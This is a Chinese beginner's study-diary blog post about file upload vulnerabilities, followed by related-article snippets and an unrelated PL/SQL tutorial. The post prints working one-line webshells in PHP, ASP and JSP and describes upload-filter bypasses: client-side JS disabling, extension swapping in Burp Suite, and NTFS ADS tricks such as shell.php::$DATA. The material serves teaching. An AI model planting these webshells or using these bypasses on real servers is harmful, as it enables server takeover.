web安全入门功法通关秘籍第四天打卡

最新推荐文章于 2025-08-01 14:00:36 发布
最新推荐文章于 2025-08-01 14:00:36 发布
阅读量361 收藏
点赞数
CC 4.0 BY-SA版权
文章标签： web 安全 php 信息安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/the_world_go/article/details/106805076
本文深入探讨文件上传漏洞的成因及危害，包括检查不严、文件名修改不当和第三方插件漏洞等问题，揭示如何利用这些漏洞上传恶意文件，以及常见的防御绕过技巧。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

web安全之文件上传漏洞

在把文件上传到web服务器时，如果没有对文件进行检查限制，就有可能导致木马进入web服务器，造成控制破坏。

** 原因**
（1）文件上传时检查不严
比如应用在文件上传时根本没有进行文件格式检查，导致攻击者可以直接上传恶意文件。
或应用仅仅在客户端进行了检查，而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查，攻击者可以通过NC，Fiddler等断点上传工具轻松绕过客户端的检查。

（2）文件上传后修改文件名时处理不当
一些应用在服务器端进行了完整的黑名单和白名单过滤，在修改已上传文件文件名时却百密一疏，允许用户修改文件后缀。
如应用只能上传.doc文件时攻击者可以先将.php文件后缀修改为.doc，成功上传后在修改文件名时将后缀改回.php。

（3）使用第三方插件引用时
好多应用都引用了带有文件上传功能的第三方插件，这些插件的文件上传功能实现上可能有漏洞，攻击者可通过这些漏洞进行文件上传攻击。
如著名的博客平台WordPress就有丰富的插件，而这些插件中每年都会被挖掘出大量的文件上传漏洞
执行
web脚本语言被服务器解释执行时
Flash的策略文件crossdomain.xml，黑客用以控制Flash在该域下的行为
上传病毒木马文件诱骗他人下载
一些带脚本的图片在某些浏览器将被作为脚本执行
上传WebShell来控制服务器

出现位置在这里插入图片描述
在这里插入图片描述
webshell

webshell就是一种可以在web服务器上执行的后台脚本或者命令执行环境。

webshell一方面能帮助站长管理网站和服务器另一方面也被用作网站入侵的脚本攻击工具。在这里插入图片描述

Burp Suite

Burp Suite是一个集成化的渗透测试工具
下载安装可以参考[大佬的博客https://blog.youkuaiyun.com/LUOBIKUN/article/details/87457545?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase)

bp的原理：在这里插入图片描述

简单了解HTTP头
1、Host（请求的web服务器域名地址） — — 你找的是谁？Host: www.sina.com.cn
2、User-Agent （客户端运行的浏览器类型的详细信息）— — 你用的什么浏览器？
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0) Gecko/20100101
Firefox/73.0
3、Accept （浏览器可接受的数据类型）— — 你能看得懂啥？
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
4、Referer（用户从该URL代表的页面出发访问当前请求的页面） — — 你从哪来？

网站管理软件
[中国菜刀

中国蚁剑
两款常用的网络管理软件

木马
php一句话木马

<?php eval ($_POST[cmd]);?> <?php assert($_POST[cmd]);?>

大马：指木马病毒；php大马，就是php写的提取站点权限的程序；带有提权或者修改站点功能。

asp&&aspx一句话木马
<%eval request(“caidao”)%>
<%@ Page Language=“Jscript”%><%eval(Request.Item[“caidao”],"unsa

JSP一句话木马
<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>
保存为1.jsp
提交url为 http://localhost/1.jsp?f=1.txt&;t=hello
访问http://localhost/1.txt 出来hello

常见绕过方式

没有对上传的文件做任何的过滤又叫任意文件上传。
例如：
DVWA-Low
前端过滤等同于没有过滤，前端对黑客来说等同虚设。
例如：
Upload-labs-01
方法一：
F12 点击设置，点击禁止JavaScript执行。上传一个php文件

方法二：
把 1.php后缀名改成 1.jpg，然后上传同时burp抓包，burp中修改后缀名为php发包即可。burp中修改后缀名，然后发送。

文件类型校验就是指HTTP头中的 Content-Type，在服务端进行校验。
Content-Type：也叫互联网媒体类型（Internet Media Type）或者 MIME 类型，在 HTTP 协议消息头中，它用来表示具体请求中的媒体类型信息。
根据文件后缀名来判断文件是否允许上传，程序会把不允许上传的文件列到一个小本本里，
一旦发现上传的文件在小本本中就马上制止。

先上传正常文件，试验能否正常上传
再上传需要上传的内容，使用不同后缀名尝试 黑白名单在这里插入图片描述
在这里插入图片描述
Windows特性：
（1）上传 shell.php(%80-99)
（2）NTFS ADS特性
①、上传 shell.php::$DATA
②、上传 test.jpg…
③、上传 1.php<> 之类的后缀名，和 ② 类似。
④、上传 1.php:.jpg
1.php:.jpg 这类文件在上传后，在Windows中会被保存为一个 空的 1.php 文件，然后可
以再上传一个 1.php<> 或者 1.php<< 或者 其他Windows不允许的后缀，就会覆盖 前边那个空的1.php

续

the_world_go
关注
c++18000行小游戏--投胎game（上）
nothing_KK的博客
09-18 1386
自创小游戏（嫌复制麻烦可上免费dc++投胎game.exe-其他文档类资源-优快云下载直接下载exe文件） #include <bits/stdc++.h> #include<windows.h> #include<conio.h> using namespace std; int LV=0,JY=0; int i2; double zb2=0; int cdz=0,fxy=0,tzs=0,xdlb=0,xlw=0; int sb=0,nbe=0,jb...
如何零代码玩转Web组态？实战功法秘籍来了
h123_b的博客
05-27 881
web组态可视化编辑器为工程用户提供了二次开发的可能，不用编程、不用写代码，通过可视化界面即可生成web页面开发出一个应用系统来，大量实际的应用场景，在能管、物联网、配电等重要组态场景的搭建都有广泛的应用。 而市面上现有的大部分传统桌面端组态软件，用起来门槛较高，且没办法跨平台协作。还会时常因为自带图元少、动效单一导致可视化效果差，而在设备数据采集环节，也会因为缺乏统一标准，导致实施繁琐无法灵活改动。 例如，发电系统，发电是由副励磁机（永磁机）发出高频电流，副励磁机发出的电流经过励磁盘整流，再送到主励磁
Web安全入门心法
CanMeng'Blog - 一个WEB安全渗透的技术爱好者
07-27 569
0x00 简单介绍 本人入门没有几年，具体多久我觉得不太重要，这篇文章主要讨论我们学习Web安全的路上该如何调整自己的心态以及学习方法，以及解决一些疑问。 可能遇到的疑问有以下这些： Web安全该怎么入门？我不知道下一步该学什么了，该怎么办？ 我该怎么做才不是一个脚本小子？ 大牛的聊天我怎么老是看不懂？ ....... 第一次写这样的文章，不知道能否安全表达，但是这些都是我的确收获到的...
web安全入门功法通关秘籍第五天打卡
the_world_go的博客
06-19 286
JavaScript基本语法 JavaScript 是世界上最流行的编程语言。这门语言可用于 HTML 和 web，如需在 HTML 页面 中插入 JavaScript，使用 之间的 JavaScript。脚本可被放置在 HTML 页面的 和 部分中，也可以把脚本保存到外 部文件中 数据类型： Boolean（布尔） Number（数字） String（字符串） Undefined（未定义） Null（空对象） Object（对象类型） 分号用于分隔 JavaScript 语句。 通常我们在每条可执行
upload-labs靶场通关全网最详细
m0_68976043的博客
03-14 3253
我们本关的任务是上传一个webshell，当我们上传php文件的时候，会直接阻止我们去看看很明显这个是对前端进行验证的代码那我们直接进入开发者模式可以清楚的看到checkFile（）【文件类型校验函数】那就很简单了，我们删除校验改为true，即可成功上传我们的php上传成功：看看结果第二种方法，我们可以使用burp抓包实现，先上传一个.jpg正常的文件但是内容是一句话木马，抓包后修改后缀放行也可实现第三种方法：关闭网页的js攻能，这样js也被我们绕过了我们现在重新进行提交。
WEB安全攻防入门教程（非常详细），从零基础入门到精通，看完这一篇就够了
Python_0011的博客
01-11 2018
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。最后的最后，祝每一位看到这里的朋友都能被世界善待，收获自己想要的offer。当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取。因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取。推荐指数：★★★★★。推荐指数：★★★★★。推荐指数：★★★★★。推荐指数：★★★★★。
【C语言功法手册】第四话· 快乐数组小课堂（可做小游戏）
kikokingの比特宇宙
05-20 1792
从今天开始，我将正式开启一个新的打卡专题——《C语言百炼成神计划》，没错！百炼成神，目的是通过百天刷题计划，通过题目和知识点串联的方式，完成C语言的复习和巩固；后期还会配有专门的笔记总结和文档教程哦！想要搞定，搞透C语言的同学，欢迎持续关注。.........
【数据结构功法】第1话 · 数据结构入门竟如此简单？
kikokingの比特宇宙
03-23 1万+
从今天开始，我将正式开启一个新的打卡专题——【数据结构·水滴计划】，没错！这是今年上半年的一整个系列计划！本专题目的是通过百天刷题计划，通过题目和知识点串联的方式，刷够1000道题！完成对数据结构相关知识的全方位复习和巩固；同时还配有专门的笔记总结和文档教程哦！想要搞定，搞透数据结构的同学，欢迎订阅本专栏！.........
【数据结构功法】第3话 · 顺序表快速入门
kikokingの比特宇宙
04-21 3946
从今天开始，我将正式开启一个新的打卡专题——【数据结构·水滴计划】，没错！这是今年上半年的一整个系列计划！本专题目的是通过百天刷题计划，通过题目和知识点串联的方式，刷够1000道题！完成对数据结构相关知识的全方位复习和巩固；同时还配有专门的笔记总结和文档教程哦！想要搞定，搞透数据结构的同学，欢迎订阅本专栏！.....................
知攻善防web1应急响应靶机
2201_75785401的博客
12-04 896
知攻善防web1靶场练习
文件上传漏洞通关,从0-1
blackguest07的博客
02-17 742
文件上传从0-1，工具推荐到waf绕过以及文件上传的一些利用案例。
【2】web安全入门篇-了解web
weixin_43303273的博客
10-10 3058
1.什么是web 百度百科会解是得很清楚，我在这里就不赘述了 https://baike.baidu.com/item/Web/150564 web运行结构 2.一次完整的网页请求 图示大致流程为 1.浏览器输入url如www.baiduc.om 2.域名解析获得该域名IP地址（DNS解析原理） 3.与该域名建立TCP连接通过三次握手(三次握手原理) 4.封装HTTP请求，向服务器发起HTTP...
网络安全-webshell详解（原理、攻击、检测与防御）
热门推荐
关注网络安全、云原生安全
09-14 7万+
简介 原理 攻击 WebShell管理工具 Cknife中国菜刀 antSword中国蚁剑 冰蝎动态二进制加密网站管理客户端 weevely3Weaponized web shell Altmanthe cross platform webshell tool in .NET Webshell SniperManage your website via terminal quasibotcomplex webshell manager, quasi-http botne...
WEB安全攻防技术精讲视频教程（全漏洞原理+攻击手段+测试方法+预防措施）-任健勇-专题视频课程...
jacksonren1987的专栏
01-18 5115
根据机构调研，目前安全问题80%都发生在WEB安全层面上，但是往往企业中只有20%的防护成本运用到web安全上。 本课程中，从web安全漏洞原理、攻击手段、测试方法、预防措施四个方面全面剖析WEB安全的点点滴滴，针对开发人员、测试人员、运维人员、网络工程师都能够起到一定的指导意义。...
web安全(一)：Web安全入门
zmt0104的博客
11-08 3840
一、Web安全性措施 1、身份验证   验证是识别一个人或系统(如应用程序)以及检验其资格的过程。在Intenet领域，验证一个用户的基本方法通常是用户名和口令。 2、授权   授权是确定用户是否被允许访问他所请求的资源的过程。例如：在银行系统中，你只能访问你的银行账户，而不能访问别人的银行账户。授权通常是通过一个访问控制列表(ACL)强制实施，该列表指定了用户和它所访问的资源的类型。 3、数据完...
【1】WEB安全学习----学习路线
尚未佩妥剑 转眼便江湖
08-07 3477
<script>alert('hello')</script>; 目的： 打算重新深入学习下WEB安全，特此开通此博客进行学习记录，学习路线大致为以下图片所示，当前，在学习期间，学习内容可能会发生变化，如果你是新人，看到此博客，希望能对你有所帮助。 推荐新人开通自己的博客，记录下平时的学习记录。 ...
Web安全工程师成长路线
sanMu_blog的博客
06-24 9316
Web安全工程师 职位描述： 对公司网站、业务系统进行安全评估测试（黑盒、白盒测试）；对公司各类系统进行安全加固；对公司安全事件进行响应，清理后门，根据日志分析攻击途径；安全技术研究，包括安全防范技术，黑客技术等；跟踪最新漏洞信息，进行业务产品的安全检查。 职位要求： 熟悉主流的Web安全技术，...
web安全（入门篇）
webbc的博客
07-25 7万+
web安全的概念太过于宽泛，博主自知了解的并不多，还需要继续学习。但是又想给今天的学习进行总结，所以今天特分享一篇关于web安全的文章，希望对初次遇到web安全问题的同学提供帮助。SQL注入 数据库表出现场景 当开发登录模块的时候，如果我们使用是mysql操作php，并非使用mysqli、PDO等；当查询用户是否存在的SQL是这样写的，select * from user where name =
Fabarta个人专属智能体限时体验中：高效、安全的长文写作新搭档
最新发布
Fabarta的博客
08-01 398
此外，报告还提到了数据孤岛、数据质量不高的问题，这些都阻碍了企业的跨域协同，也降低了企业的数据向知识转化的效率。在保证用户的资料、文件与数据完全私密不泄露的情况下，该产品完美融合了用户本地数据与互联网上可以触达的公开信息，快速应答用户的各类请求与问题。1）王律师基于个人构建好的本地知识库，输入需求：“分析本案胜诉关键点，撰写金融借款合同纠纷证据规则实务指南，引用3个类案，字数2000左右”；5）智能体生成专业化内容，王律师可实时调整个别段落，对不满意的段落进行改写、润色，插入类案对比等；
plsql功法
03-26
### PL/SQL 的基本使用方法 PL/SQL 是一种强大的过程化语言，主要用于开发 Oracle 数据库中的存储过程、函数、触发器和包。以下是关于 PL/SQL 基本使用方法的一些重要知识点： #### 1. **PL/SQL 结构** PL/SQL 程序通常由三个部分组成：声明部分（可选）、执行部分（必选）和异常处理部分（可选）。 ```sql DECLARE -- 变量声明区域 BEGIN -- 执行逻辑区域 EXCEPTION -- 异常处理区域 END; ``` 这种结构使得开发者可以清晰地定义变量、编写逻辑并捕获可能发生的错误。 #### 2. **变量与数据类型** PL/SQL 支持多种内置的数据类型，例如 `NUMBER`、`VARCHAR2` 和 `DATE` 等。还可以通过 `%TYPE` 或 `%ROWTYPE` 来引用表列的类型[^2]。 示例代码： ```plsql DECLARE v_employee_id employees.employee_id%TYPE; -- 定义与表字段相同类型的变量 v_salary NUMBER(8, 2); -- 数字型变量 BEGIN SELECT employee_id, salary INTO v_employee_id, v_salary FROM employees WHERE rownum = 1; DBMS_OUTPUT.PUT_LINE('Employee ID: ' || v_employee_id || ', Salary: ' || v_salary); END; ``` #### 3. **控制结构** PL/SQL 提供了丰富的控制结构来实现条件判断和循环操作。常用的有 `IF...THEN...ELSE` 和 `LOOP` 系列语句。 ##### IF 判断 ```plsql DECLARE v_grade CHAR(1) := 'A'; BEGIN IF v_grade = 'A' THEN DBMS_OUTPUT.PUT_LINE('Excellent'); ELSIF v_grade = 'B' THEN DBMS_OUTPUT.PUT_LINE('Good'); ELSE DBMS_OUTPUT.PUT_LINE('Unknown Grade'); END IF; END; ``` ##### 循环 ```plsql DECLARE i INT := 1; BEGIN LOOP EXIT WHEN i > 5; -- 当满足退出条件时跳出循环 DBMS_OUTPUT.PUT_LINE('Iteration: ' || i); i := i + 1; END LOOP; END; ``` --- ### PL/SQL 编程技巧 为了提高 PL/SQL 开发效率和性能，以下是一些常见的编程技巧： #### 1. **批量处理** 利用游标或集合操作减少单条记录的操作次数，提升性能。例如，可以通过 `FORALL` 实现批量化 DML 操作。 ```plsql DECLARE TYPE emp_ids_t IS TABLE OF employees.employee_id%TYPE INDEX BY PLS_INTEGER; emp_ids emp_ids_t; BEGIN SELECT employee_id BULK COLLECT INTO emp_ids FROM employees WHERE department_id = 10; FORALL i IN INDICES OF emp_ids UPDATE employees SET salary = salary * 1.1 WHERE employee_id = emp_ids(i); COMMIT; END; ``` #### 2. **索引表与嵌套表** 合理使用索引表（Index-by Table）或嵌套表（Nested Table），可以在内存中缓存大量数据以加速计算。 ```plsql DECLARE TYPE nested_table_type IS TABLE OF VARCHAR2(100); my_nested_table nested_table_type := nested_table_type(); BEGIN my_nested_table.EXTEND(3); my_nested_table(1) := 'Value1'; my_nested_table(2) := 'Value2'; my_nested_table(3) := 'Value3'; FOR i IN 1..my_nested_table.COUNT LOOP DBMS_OUTPUT.PUT_LINE(my_nested_table(i)); END LOOP; END; ``` #### 3. **异常处理** 良好的异常处理机制可以帮助程序更好地应对意外情况。建议为常见错误设置自定义消息。 ```plsql BEGIN INSERT INTO non_existent_table VALUES (1); EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('Error Code: ' || SQLCODE || ', Error Message: ' || SQLERRM); END; ``` #### 4. **优化查询** 尽量避免在循环内部多次调用数据库操作，而是采用绑定变量或子查询的方式一次性完成任务。这有助于降低上下文切换开销。 --- ### 示例：创建一个简单的存储过程 下面是一个完整的存储过程示例，展示了如何封装业务逻辑以便重复使用。 ```plsql CREATE OR REPLACE PROCEDURE update_employee_salary ( p_department_id IN employees.department_id%TYPE, p_percentage_increase IN NUMBER DEFAULT 10 ) AS BEGIN UPDATE employees SET salary = salary * (1 + p_percentage_increase / 100) WHERE department_id = p_department_id; COMMIT; END; / ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值